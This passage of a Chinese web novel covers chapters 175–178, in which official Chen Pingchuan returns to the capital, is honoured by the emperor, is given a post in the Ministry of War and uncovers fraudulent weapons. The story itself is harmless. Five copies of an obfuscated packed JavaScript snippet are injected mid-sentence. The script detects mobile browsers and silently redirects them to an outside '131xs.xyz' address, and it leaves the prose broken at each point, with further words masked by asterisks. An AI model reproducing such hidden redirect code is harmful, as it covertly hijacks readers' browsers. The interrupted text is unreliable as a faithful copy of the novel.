他们的眼神里,有挽留,有不舍,有担忧,更有发自内心的敬重。 “大人……” 不知是谁,第一个跪了下来。 哗啦啦! 如同潮水一般,成千上万的百姓和将士,全都跪了下去。 “我等,恭送大人!” “恭送大人!” 山呼海啸般的声音,响彻云霄,震得人耳膜生疼。 他们知道,留不住陈平川了。 那道黄绫圣旨,是天,是不可违抗的命令。 他们能做的,只有用这种最古老,最质朴的方式,来表达他们心中万分之一的敬意和感激。 陈平川缓缓直起身。 他看着眼前黑压压跪倒一片的人群,眼眶有些发热。 他不是铁石心肠。 这些日子以来的同生共死,早已让他与这座城市,与这里的人们,血脉相连。 “大家都起来吧。” 他朗声说道。 “我陈平川,何德何能,受诸位如此大礼。” 他深吸一口气,朗声道:“圣命难违,我必须回京。” “但是!” 他话锋一转,声音陡然拔高。 “我陈平川向各位保证!” “我只是暂时离开!” “顺城,永远是我的家!” “只要我陈平川还有一口气在,就绝不会让蛮子,再踏进顺城半步!” “我走之后,顺城的一切军政要务,暂由赵莽将军与刘四海会长,共同执掌!” 他看向身旁的赵莽和刘四海。 “赵将军!” 赵莽猛地抬头,双目赤红,一个标准的军礼。 “末将在!” “陈家军,交给你了!” 陈平川的声音,无比郑重。 “练兵,守城,不可有丝毫懈怠!” “告诉将士们,他们的军饷,他们的抚恤,我陈平川在京城,一文都不会少给他们争取!” “若有战事,守不住……就退守鹰嘴关!” “等我回来!” 赵莽虎目含泪,重重地点头。 “大人放心!末将誓与顺城共存亡!” 陈平川又转向刘四海。 “刘会长。” 刘四海眼圈也红了,躬身道:“大人有何吩咐?” “顺城的民生,府库的钱粮,商行的运作,都交给你了。” “稳住劳务券的价值,安抚好百姓。” “告诉他们,好日子,才刚刚开始。” 刘四海哽咽道:“大人,您放心,草民……草民一定拼了这条老命,守好您的家业!” 陈平川点了点头。 他再次环视所有人,目光扫过一张张熟悉或陌生的面孔。 他看到了那些曾经并肩作战的士兵,那些自发拿起武器的百姓。 他什么都没再说。 只是转过身,大步流星地走向那队禁军。 “公公,走吧。” 他对着那名一直面无表情的太监,平静地说道。 太监深深地看了他一眼,眼神里闪过一丝复杂的情绪,但很快又恢复了古井无 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16012697|178436||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 波。 “陈大人,请。” 他做了一个请的手势,态度比来时,恭敬了许多。 陈平川翻身上马,没有回头。 他怕一回头,就再也走不了了。 马蹄声响起,在寂静的长街上,格外清晰。 “恭送大人——!” 身后,再次传来震天的呼喊。 陈平川闭上眼,将所有的不舍与不甘,都压在了心底。 京城。 梁越,梁太后。 我陈平川,回来了。 这一次,战场,就在你们的脚下! …… 队伍行进得很快,几乎是马不停蹄。 那名领头的太监似乎接到了死命令,一路上除了必要的休整,几乎没有任何耽搁。 陈平川也乐得清静,大部分时间都在马车里闭目养神,或是思考着回到京城后的种种可能。 他知道,这次回去将会面临一场看不见刀光剑影,却比沙场更加凶险的战争。 梁家,已经把他当成了眼中钉,肉中刺。 他们急于把自己从顺城这个根基之地调离,就是为了把自己变成无根之木,无源之水。 到了京城,在他们的地盘上,自己就是龙游浅水,虎落平阳。 到时候,是杀是剐,还不是他们一句话的事? “大人,喝口水吧。” 一个清脆的声音在耳边响起,一只纤细的手递过来一个水囊。 是张若素。 为了防止回京,引起别人说闲话,她依旧是一身小厮的打扮。 陈平川睁开眼,接过水囊,喝了一口,道:“到了京城,你就回你父亲那里去,不要再跟着我了。” “大人……”张若素急了。 “听我的。”陈平川的语气不容置疑,“梁家现在视我为死敌,你跟在我身边,只会成为他们的目标,也会连累张大人。” “回到你父亲身边,才是最安全的。” “而且,我在朝堂上,也需要张大人的帮助。你在他身边,我们内外联络,也更方便。” 听到最后一句话,张若素的眼神才亮了一下。 她知道,陈平川这么说,是不想让她担心,也是真的需要她帮忙。 “好,若素听大人的。”她乖巧地点了点头。 第175章 史上最强牌面!天子出城十里相迎! 陈平川看着窗外飞速**的景物,心中思绪万千。 秦王,**,还有那个坐在龙椅上,既想有所作为又被束手束脚的景帝。 这些人,将是他在京城可以依靠的力量。 而他的敌人,则是根深蒂固,权倾朝野的梁家。 这场仗,不好打啊。 但,越是不好打,就越有意思,打赢了,也更有成就感,不是吗? 陈平川的嘴角,勾起一抹弧度。 他闭上眼睛,开始在脑中,推演着回到京城后的每一步棋。 他不是岳飞。 他绝不会,让风波亭的悲剧,在自己身上重演! 谁想让他死,谁就得先有,被拉下地狱的觉悟! 就在陈平川的思绪飞转之际,马车外的喧闹声,渐渐大了起来。 马车外传来声音:“大人,京城快到了。” 陈平川掀开车帘,向外望去。 只见官道两旁,不知何时,已经站满了密密麻麻的百姓。 他们扶老携幼,翘首以盼。 看到陈平川的马车过来,人群顿时爆发出雷鸣般的欢呼声。 “是陈大人!陈大人回来了!” “状元钦差回来了!” “快看!真的是陈大人!” 百姓们激动地挥舞着手臂,伸长脖子向马车张望,甚至有人激动得热泪盈眶。 他们手里拿着各种各样的东西,有鸡蛋,有烙饼,有自己纳的鞋垫,拼命地想往马车这边送。 护送的禁军,显然没见过这种阵仗,一时间都有些手足无措。 领头的太监,更是惊得嘴巴都张大了。 他奉命护送过无数王公大臣,何曾见过如此场面? 这……这简直比迎接打了大胜仗的凯旋将军,还要夸张! 这个陈平川,在民间的声望,竟然高到了如此地步? 他看着那个坐在马车里,神色平静的年轻人,心中第一次,生出了一丝敬畏。 …… 越是靠近京城,道路两旁自发前来迎接的百姓就越多。 后来已经是里三层外三层,将官道堵得水泄不通。 禁军们不得不放慢了速度,小心翼翼地在人群中开出一条路来。 “陈大人!这是俺家自己下的蛋,您拿着路上吃!” 一个朴实的大娘,好不容易挤到前面,把一个装满鸡蛋的篮子,硬塞给了一名禁军士兵。 “陈大人!这是我们一家人凑钱给您买的好酒!” 一个壮汉高高举起一个酒坛,满脸涨得通红。 “陈大人!您辛苦了!” “大业有您,是我等百姓之福啊!” 各种各样的喊声,此起彼伏。 他们或许不知道什么朝堂争斗,不知道什么权谋诡计。 他们只知道,是这个叫陈平川的年轻人,在顺城打了一场前所未有的大胜仗,替大业朝,替他们这些普通百姓,狠狠地出了一口恶气! 这些年,被蛮子欺负得太久了,他们盼着打胜仗也盼太久了。 现在,终于有一个人,敢带着兵,把那些蛮子打得哭爹喊娘,狼狈逃窜! 这如何能让他们不激动?如何能让他们不爱戴? 陈平川坐在车里,听着外面的山呼海啸,心中也是感慨万千。 民心,就是他最大的底气! 他掀开车帘,对着外面的人群,不断地拱手作揖。 “多谢各位乡亲!” “平川愧不敢当!” “大家的心意,平川心领了!东西就不要送了,快快拿回家去吧!” 他的出现,更是让现场的气氛,达到了顶峰。 百姓们更加疯狂地往前挤,都想亲眼看一看这位传说中“文曲星下凡”的状元郎,到底长什么样子。 “大家别挤!注意安全!” 陈平川不得不站起身,大声地维持着秩序,他担心出现**故。 领头的太监看着这一幕,额头上已经渗出了冷汗。 他现在开始担心,再这么下去,会不会引发什么骚乱。 这要是出了什么岔子,他可担待不起。 “快!加快速度!进城!” 他尖着嗓子对禁军们下令。 队伍的速度,猛地一提,在百姓们的簇拥和欢呼声中,终于看到了京城那巍峨的城墙。 然而,当他们来到城门前时,所有人都愣住了。 只见城门大开。 城门内外,站满了文武百官。 为首一人,身穿九龙黄袍,头戴紫金冠,不是当今景帝,又是何人? 在他的身边,站着须发皆白,一脸欣慰的大学士**。 另一边,则是脸色阴沉得能滴出水来的国舅梁越,以及他身后那一众同样面色不善的梁党官员。 当朝天子,亲出十里,迎接臣子! 这是何等的荣耀! 大业朝开国以来,闻所未闻! 领头的太监“噗通”一声,直接从马上摔了下来,连滚带爬地跪倒在地。 “奴才……奴才叩见陛下!吾皇万岁万岁万万岁!” 他身后的禁军们,也全都吓傻了,一个个赶紧下马跪倒,头都不敢抬。 整个场面,瞬间安静了下来。 所有人的目光,都聚焦在了那辆缓缓停下的马车上。 陈平川深吸一口气,整理了一下衣冠,走下马车。 他快步走到景帝面前,撩起衣袍,便要行跪拜大礼。 “臣,陈平川,叩见陛下!” “爱卿快快请起!” 景帝却抢先一步,亲手将他扶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16012698|178436||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了起来。 他的双手,因为激动而微微颤抖。 他看着眼前这个比自己还要年轻十几岁的臣子,眼中满是欣赏和喜悦。 “爱卿一路辛苦了!” 景帝的声音,充满了真诚的关切。 “为陛下分忧,为大业尽忠,臣,万死不辞!”陈平川沉声道。 “好!好!” 景帝重重地拍了拍他的肩膀,然后转身,面向所有文武百官和城外的百姓。 他拉着陈平川的手,高高举起,声音洪亮地宣布道: “众卿,众百姓们!都看一看!” “这位,就是我大业朝的英雄!陈平川!” “他,以三千之师,破五万蛮夷!” “斩敌近万,扬我大业国威!” “此等不世之功,当彪炳史册,万世传颂!” “朕今日,亲迎于此,就是要告诉天下人!” “我大业朝,有功必赏!” “朕,绝不会亏待任何一个为国尽忠的功臣!” 景帝的每一句话,都掷地有声,响彻云霄。 梁越低着头,拳头在袖子里握得咯咯作响。 他身后的梁党官员,一个个脸色铁青。 而**和支持景帝的官员们,则是人人面带喜色,与有荣焉。 他们看着被景帝高高举起手的陈平川,仿佛看到了大业朝中兴的希望。 城门外的百姓们,在短暂的震惊之后,爆发出比之前更加热烈的欢呼声! “陛下圣明!” “陈大人威武!” “大业万胜!” 呼喊声一浪高过一浪。 无数人,激动得泪流满面。 他们看到了一个愿意为功臣撑腰的皇帝。 他们看到了一个正在重新挺直脊梁的朝廷! 陈平川站在景帝身边,感受着这山呼海啸般的声浪,心中也是豪情万丈。 他知道,从这一刻起,他不再是孤军奋战了。 皇帝,已经用这种最高规格的姿态,向所有人表明了他的态度。 他,是皇帝的人! 谁要动他,就是跟皇帝作对! “爱卿,随朕进城!” 景帝拉着陈平川的手,亲自将他引向为他准备的御赐马车。 那是一辆由八匹骏马拉着的,只有亲王才能乘坐的华贵马车。 在万众瞩目之下,陈平川登上了御赐马车,在天子的陪同下,缓缓驶入了京城。 梁越看着这一幕,眼睛都快喷出火来了。 他死死地盯着陈平川的背影,眼神里的杀意,几乎要凝成实质。 陈平川! 你不要得意得太早! 这里是京城,不是你那小小的顺城! 今天你有多风光,明天,我就要让你死得有多难看! 第176章 加官进爵,一步登天,景帝拍板:谁敢反对 御驾在禁军的护卫下,穿过长长的朱雀大街,直奔皇宫。 街道两旁,依旧是挤满了闻讯赶来的百姓。 他们争相一睹天颜和英雄的风采,欢呼声经久不息。 京城上一次这么热闹,还是因为陈平川考上状元,戴花游街。 马车内,景帝看着窗外沸腾的**,脸上的笑容就没断过。 “爱卿,你看到了吗?” 他指着窗外,对陈平川说道。 “这就是民心!这就是我大业朝的根基!” “以前,是朕太软弱,让梁家一手遮天,弄得朝堂乌烟瘴气,民不聊生。” “但现在,有你在,朕,有底气了!” 陈平川心中一动。 景帝这是在向他交底了。 “陛下言重了。” 他躬身道:“臣只是做了分内之事。大业朝能有今日之气象,全赖陛下圣明。” 这话,景帝爱听。 他哈哈一笑,道:“你啊,就是太谦虚。” “不过,朕喜欢!” 他话锋一转,表情严肃了起来。 “爱卿,顺城大捷,你居功至伟。朕已经想好要如何封赏你。” “朕知道,梁家那帮人,肯定会从中作梗,百般阻挠。” “所以,朕才搞出这么大的阵仗,亲迎于你。” “朕就是要让所有人都知道,你陈平川,是朕的肱股之臣!朕保定了!” “待会儿到了金銮殿,无论梁越他们说什么,你都不用怕,一切有朕!” 陈平川心中流过一股暖流。 这个皇帝,虽然有些软弱,但确实是真心想做一番事业,也是真心在维护自己。 “臣,谢陛下隆恩!”他再次躬身。 “不必多礼。”景帝摆了摆手,“你我君臣,当同心同德,共创大业盛世!” …… 皇宫,金銮殿。 文武百官,分列两旁。 气氛,庄严肃穆,却又暗流汹涌。 景帝高坐于龙椅之上,威严地扫视着殿下众人。 梁越**,个个低眉顺眼,但眼神中却透着不甘和冷意。 **一派,则是个个精神抖擞,满怀期待。 陈平川一身风尘,站在大殿中央,身姿挺拔,玉树临风。 “宣,顺城大捷捷报!” 太监魏忠尖着嗓子喊道。 一名小太监立刻上前,朗声宣读起那份早已被无数人传颂的捷报。 “……以三千之师,大破五万蛮族精锐!阵斩敌军近万,俘虏数千!蛮族联军统帅塔尔罕,狼狈逃窜……” 捷报的内容,在场的大臣们早就知道了。 但此刻在金銮殿上,由皇帝当面再次宣读出来,那分量,又截然不同。 每念一句,梁党官员的脸色,就难看一分。 而**等人的脸上,笑意就更浓一分。 待捷报宣读完毕,金銮殿内,一片寂静。 所有人的目光,都集中在了龙椅上的景帝身上。 重头戏,要来了。 封赏! 景帝清了清嗓子,缓缓开口。 “顺城知州陈平川,临危受命,不辱使命,立此不世之功,扬我大业国威,朕心甚慰!” “朕意,擢升陈平川为……” 景帝故意拉长了声音,目光扫过梁越。 梁越的心,一下子提到了嗓子眼。 他最怕的,就是景帝直接给陈平川兵权,封他个什么将军,总督之类的。 那可就真的,放虎归山了! “……兵部右侍郎!” 景帝终于说出了那个职位。 兵部右侍郎! 从四品的京官! 这个职位,说道就多了! 首先,兵部是掌管全**政的枢纽部门,侍郎之位,位高权重,足以彰显对陈平川功劳的肯定。 其次,兵部侍郎有参与军国大事的权力,却没有直接调动军队的兵权。 这既给了陈平川进入权力核心的机会,又完美地避开了梁家最忌惮的“兵权”问题。 最重要的是,兵部尚书,现在正是梁党的一名核心成员! 把陈平川安**去,就像是在梁家的心腹要地,钉下了一颗钉子! 这招,实在是高! 梁越的脸色,瞬间变得无比难看。 他想反对,却找不到任何理由。 论品级,从四品,对于陈平川这泼天大功来说,甚至还有点低了。 论职权,没给兵权,已经是最大的让步了。 他要是再反对,就是明摆着告诉所有人,他梁越就是容不下一个功臣! 梁越还在犹豫,**已经率先出列,躬身下拜。 “陛下圣明!陈大人少年英才,入主兵部,必能为我大业军务,再献良策!” “臣等附议!” 支持景帝的官员们,立刻齐声应和。 梁越的嘴唇翕动了几下,最终,还是一个字都没说出来。 他知道,一切都无法改变了。 景帝看着梁越那副吃了苍蝇的表情,心中畅快无比。 他继续道:“另,赐陈平川黄金百两,锦缎千匹,京城御赐府邸一座 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16012699|178436||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !” “封,一等忠勇伯!” 伯爵! 大业朝,非皇室宗亲,已经有几十年没有封过爵位了! 这一下,整个金銮殿都炸了锅! 如果说兵部右侍郎,还只是一个位高权重的官职。 那一等忠勇伯,就是实打实的贵族身份!是可以传给子孙后代的! 这恩宠,简直是前无古人! “陛下!不可啊!” 终于,有梁党的御史忍不住跳了出来。 “陈平川虽有大功,但毕竟年少,骤封爵位,恐难以服众,亦会坏了朝廷规矩啊!” “没错!请陛下三思!” 立刻,又有几个梁党官员跟着附和。 景帝冷笑一声。 “规矩?” 他猛地一拍龙椅,站了起来,声色俱厉。 “什么叫规矩?” “有功不赏,让功臣寒心,就是你们的规矩吗?” “蛮夷叩关,无人能敌,割地赔款,就是你们的规矩吗?” “陈平川在顺城,为国为民,浴血奋战的时候,你们这些御史,在哪里?” “现在,人家打了胜仗回来,你们就跳出来说规矩了?” “朕今天就把话放在这里!” “谁再敢说半个‘不’字,就自己去顺城,把蛮子的脑袋,给朕提几万个回来!” “做不到,就给朕闭嘴!” 皇帝,发火了! 前所未有的雷霆之怒! 那几个跳出来的御史,被骂得狗血淋头,吓得浑身哆嗦,“扑通”一声跪在地上,连话都说不出来了。 整个大殿,鸦雀无声。 所有人都被景帝这突如其来的霸气,给震慑住了。 梁越的脸色,已经由铁青,变成了惨白。 他发现,他好像,已经有些控制不住这个他一手扶持起来的皇帝了。 就如梁太后所说,他的翅膀,真的硬了! 而这一切的根源,就是那个站在大殿中央,始终一脸平静的年轻人。 陈平川! 景帝发泄完,重新坐下,心情舒畅,语气缓和了一些。 “陈爱卿,你可愿意?” 陈平川上前一步,深深下拜。 “臣,陈平川,谢陛下天恩!” “粉身碎骨,无以为报!” 他的声音,回荡在金銮殿上。 也宣告着,一颗新的**明星,在大业朝的权力中心,冉冉升起! 从顺城知州,到兵部右侍郎,再到一等忠勇伯。 陈平川,真正意义上的,平步青云! 第177章 尚书大人的特殊照顾,陈平川:这套路我熟! 金銮殿上的封赏与交锋,不过是这场权谋大戏的开场锣鼓。 真正的战场,在朝堂之下,在人心之中。 次日,陈平川起了个大早。 他没有穿那身惹眼的一等忠勇侯爵服,而是换上了一身崭新的兵部右侍郎官袍。 青色的袍服,胸前绣着云雁补子,衬得他愈发身姿挺拔,眉目清朗。 御赐的府邸离着六部衙门不远,陈平川并未坐轿,而是选择步行。 兵部衙门,坐落在皇城西南角,朱红大门,石狮镇守,门前几名卫兵持戟而立,神情肃穆,透着一股森然之气。 陈平川递上自己的官凭文书。 那几名守卫看了一眼,又抬头打量了他几眼,眼神里没什么尊敬,反倒有几分说不清道不明的意味,像是看热闹。 “陈大人,您里边请吧。” 一名守卫懒洋洋地侧了侧身,连个引路的人都没有。 陈平川也不在意,迈步踏入了兵部衙门高高的门槛。 他知道,从这一刻起,他就是景帝安**来的钉子。 人家不给他好脸色,再正常不过了。 一进衙门,便是一个宽阔的庭院。 来来往往的官吏,看到陈平川这副的年轻面孔,和官袍上的品级时,不少人眼中都闪过了然和轻视。 这么年轻的从四品,除了那个靠着顺城大捷一步登天的陈平川,还能有谁? 一个靠军功上位的幸进之辈罢了。 还是个没根基的。 陈平川径直走向兵部尚书卢志安的公房。 门口的吏员进去通报,很快便出来了,脸上带着职业化的假笑。 “尚书大人请您进去。” 陈平川推门而入。 一股沉闷的檀香味扑面而来。 公房内陈设考究,一名年过五旬,面色白净,留着三缕长须的官员,正坐在太师椅上,慢悠悠地品着茶。 正是兵部尚书,国舅梁越的铁杆心腹,卢志安。 “下官陈平川,拜见尚书大人。” 陈平川不卑不亢地躬身行礼。 卢志安眼皮都没抬一下,只是轻轻吹了吹茶碗里的热气。 “哦,是平川啊。” 他这声“平川”叫得极其自然,仿佛陈平川不是他的下属,而是他的子侄辈。 这是一种毫不掩饰的轻慢。 “坐吧。” 卢志安用下巴指了指旁边的一张椅子。 陈平川谢过之后,坦然坐下。 他倒想看看,这老家伙葫芦里卖的什么药。 卢志安放下茶碗,这才慢条斯理地抬起头,用一种审视的目光打量着陈平川。 “年轻人,有冲劲,是好事。” 他开口了,语气里满是长辈对晚辈的“教诲”。 “顺城一战,打得不错,为我大业扬了国威,陛下也对你赞赏有加。” “不过嘛……” 他话锋一转。 “战场杀伐,靠的是一腔血勇。可这官场,尤其是在我们兵部,讲究的是规矩,是人情,是资历。” “你还年轻,很多事情要多看,多听,多学。不要总想着一步登天,脚跟不稳,是会摔跤的。” 陈平川心中冷笑。 来了来了,下马威这就来了。 他面上却是一副虚心受教的模样。 “尚书大人说的是,下官初来乍到,很多地方都仰仗大人提点。” “嗯,孺子可教。” 卢志安满意地点了点头,似乎很享受这种掌控局面的感觉。 “这样吧,衙门里那些军国大事,文山会海的,你刚来也插不上手。” “我给你安排个清闲点的差事。” 他朝着门外喊了一声:“来人!” 一名小吏快步走了进来。 “大人有何吩咐?” “带陈侍郎去西边偏房。” 卢志安挥了挥手,像是在打发一只苍蝇。 “以后,你就负责整理咱们兵部历年来的器械管理档案,也算是,让你先熟悉熟悉我大业朝的军务脉络。” “什么时候整理完了,什么时候,我再给你安排别的差事。” 兵部侍郎,从四品大员,竟然被派去管废旧档案? 这已经不是明升暗黜了,这简直就是当众羞辱! 那名小吏的脸上,都忍不住露出一丝同情。 陈平川却站起身,对着卢志安又是深深一揖。 “多谢尚书大人栽培,下官定不辱使命。” 他的脸上,看不出丝毫的愤怒和不满。 这场面他早在翰林院就见过了,结果呢?最后还是他赢了! 卢志安看着他这副样子,反倒觉得有些无趣。 一拳打在棉花上,没什么意思。 他挥了挥手:“去吧。” 陈平川跟着那名小吏,穿过几条回廊,来到衙门最后面一个偏僻的院落。 院子里杂草丛生,只有一间破旧的屋子。 门窗都有些歪斜,上面糊的窗户纸也破了好几个洞。 “陈大人,到了。” 小吏指着那屋子,脸上有些尴尬。 陈平川点了点头,推开那扇吱呀作响的木门。 一股浓重的霉味扑面而来,呛得人直咳嗽。 屋子里,堆满了小山一样的陈旧卷宗,有的散落在地上,有的胡乱堆在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16012700|178436||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 书架上。 光线昏暗,只有几缕阳光从破洞的窗户纸里透进来,照出空气中飞舞的尘埃。 而在屋子最里面,一个角落里,竟然还有一个人。 那是一个须发皆白的老者,穿着一身洗得发白的旧官服,正佝偻着背,对着墙角一盘下了一半的棋局,怔怔出神。 他似乎对陈平川的到来毫无察觉,整个人仿佛与这屋子融为了一体,充满了腐朽和死寂的气息。 “这位是石主事。” 小吏小声介绍道。 “石问天,石大人。他……他在这里待了快十年了。” 说完,小吏像是怕沾染上什么晦气,行了个礼就匆匆跑了。 石问天? 陈平川想起来了,来之前**跟他提过一嘴。 说兵部有个姓石的主事,为人刚正不阿,因为不愿与卢志安同流合污,得罪了梁党,被贬到这里看管废旧档案,一待就是十年。 人送外号,“顽石先生”。 又臭又硬的一块石头。 陈平川没有去打扰他。 他环顾了一下这间屋子,眉头微皱。 这环境,也太差了。 他二话不说,挽起袖子,找来一把破扫帚,就开始打扫。 扫地,擦桌子,清理蜘蛛网。 他干得不紧不慢,有条不紊。 屋子里顿时尘土飞扬,叮当作响。 那边的石问天终于有了反应。 他缓缓地转过头,浑浊的眼睛里,满是警惕和鄙夷地看着陈平川。 “新来的?” 陈平川停下手里的活,客气地说道。 “下官陈平川,见过石大人。” “陈平川?” 石问天冷笑一声。 “那个名满京城,圣眷正浓的忠勇伯?怎么,被发配到我这等死的地方来了?” 他的话里,带着刺。 他显然以为,陈平川不过是又一个沽名钓誉,得罪了权贵被排挤过来的年轻人。 这种人,他见得多了。 陈平川不以为意,笑了笑。 “石大人说笑了,下官是来学习的。” 他从自己随身带来的包裹里,取出一套精致的茶具和一小包茶叶,走到屋角唯一一张还算完好的桌子旁。 生火,烧水,洗杯,沏茶。 一套动作行云流水。 很快,一股清新的茶香,就驱散了屋子里不少霉味。 他将一杯沏好的热茶,端到了石问天的面前。 “石大人,请用茶。” 石问天看了一眼那澄澈的茶汤,又看了一眼陈平川。 他冷哼一声,把头扭到了一边,根本不理睬。 第178章 这个新来的怎么不按套路出牌? 陈平川碰了一鼻子灰,也不生气。 他将茶杯放在石问天旁边的棋盘上,自己则继续回去打扫屋子。 这间屋子,简直就是个巨大的垃圾场。 想要在这里面找到有用的东西,首先就得把它整理干净。 接下来的几天,陈平川每天都准时来报到。 他也不跟任何人说话,就是埋头干活。 打扫卫生,修补门窗,把那些散落的卷宗,一摞一摞地搬下来,掸掉灰尘。 石问天依旧是那副半死不活的样子。 每天对着他的那盘残局发呆,对陈平川的所作所为,不闻不问,不理不睬。 陈平川每天给他沏的那杯茶,他也从来没碰过,任由它从热变凉。 兵部衙门里的其他人,很快就知道了这位新来的陈侍郎的“遭遇”。 不少人都在背后偷偷议论,言语间满是幸灾乐祸。 “看到了吧,什么大英雄,什么忠勇伯,到了咱们兵部,还不是得乖乖去扫垃圾。” “得罪了卢尚书和国舅爷,能有好果子吃?” “我看啊,他跟那块老顽石一样,这辈子就在那破屋子里发霉吧!” 对于这些风言风语,陈平川充耳不闻。 他有自己的计划。 卢志安把他扔到这里,本意是羞辱他,架空他。 但在陈平川看来,这地方,简直就是一座尚未被发掘的宝库! 兵部,掌管天下军务。 这些废旧档案,记录着大业朝几十年来,所有边镇的**、军械调拨、粮草消耗、将官升迁…… 这里面,藏着无数的信息,足以让他洞悉整个大业朝的军事命脉。 至于梁太后、卢志安之流,从来不是他真正的对手,北方的蛮族和海外的敌人,才是心腹大患。 他要做的,就是利用这座宝库,为自己,也为这个天下,下一盘大棋。 第五天。 屋子已经被陈平川打扫得焕然一新。 那些小山一样的卷宗,也被他分门别类地堆放好。 他开始着手整理。 但他用的方法,却让一旁冷眼旁观的石问天,第一次露出了惊讶的表情。 陈平川没有像常人那样,一卷一卷地打开看,然后再放回去。 他找人做了许多大小一致的小木牌。 然后,他将每一份卷宗打开,只看标题和摘要,然后就在木牌上写下几个关键字。 比如:“景元十五年,北境,鹰嘴关,军械核销。” 又比如:“景元十七年,南疆,抚恤金,兵士哗变。” 写完之后,他就用细绳,将木牌系在相应的卷宗上。 最后,他按照年份、边军番号、事件类型等,将这些挂着木牌的卷宗,重新排列,放到不同的书架上。 这是一种后世图书管理和信息索引的方法。 在这个时代,却是闻所未闻,见所未见。 原本杂乱无章、浩如烟海的故纸堆,在他的整理下,变得井井有条,脉络清晰。 想要查找任何一份相关的档案,只需要找到对应的木牌,就能立刻定位。 效率,比以前高了何止百倍! 石问天一开始还只是斜着眼看,后来就忍不住站了起来,走到书架前。 他看着那些排列整齐的卷宗和一目了然的木牌,浑浊的眼睛里,掀起了惊涛骇浪。 他在这破屋里待了十年。 十年啊! 他比任何人都清楚,整理这些东西有多么困难。 有时候为了找一份十几年前的公文,他得在着成千上万的卷宗里翻找好几天,弄得一身灰,还不一定能找到。 可现在,这个年轻人,只用了几天时间,就建立起了一套如此高效、如此清晰的检索系统! 真是让他大开眼界! 这个陈平川的脑子是怎么想的?难道真是传闻“文曲星”下凡? 他表面上依旧不动声色,但心中对陈平川的看法,已经悄然发生了改变。 这小子,好像和他想的不一样。 这天下午,一名管着军械库的小吏,抱着一叠文书,走进了故纸堆。 他看到焕然一新的屋子,和那个正在忙碌的陈平川,也是一愣。 “陈……陈大人。” 小吏有些不自然地喊了一声。 “何事?” 陈平川头也不抬地问道。 “这是库里一批刚刚核验完,准备入库的军械清单,按照规矩,需要您这位管档案的侍郎大人签个字,归档了事。” 小吏将文书递了过来,脸上带着一丝催促:“尚书大人着急,您看……” 陈平川停下手里的活,接过了那份清单。 他一页一页,看得极其仔细。 清单上罗列的,都是些**、佩刀、盾牌之类的武器装备,看起来,没什么特别。 点点头,他放下清单,对那小吏说:“带我去库里看看。” 小吏的脸色,明显变了一下。 “陈大人,这……这不合规矩吧?都核验完了,您签个字就行了,何必多此一举呢?” 他心里直打鼓,这新来的侍郎怎么不按套路出牌? 以前这种事,都是闭着眼睛签字的。 “规矩?” 陈平川笑了。 “兵部最大的规矩,就是保证边关将士的性命。我既然管了档案,就有责任核实真伪。” “还是说,这批军械,有什么见不得人的地方?” 他的声音不大,但却带着一股不容置疑的压力。 小吏的额头上,顿时冒出了冷汗。 “没……没有!大人您说笑了,我这就带您去!” 在军械库的角落里,陈平川看到了那批所谓的“新货”。 他拿起一具神机**,仔细查看。 **身是好的,但里面的机括,确实是劣质的铁器,一掰就断。 他又拿起一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16012701|178436||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 件锁子甲,甲片是用最粗糙的铁片串联的,防护能力聊胜于无。 他心中瞬间了然。 这又是以次充好、偷梁换柱的把戏! 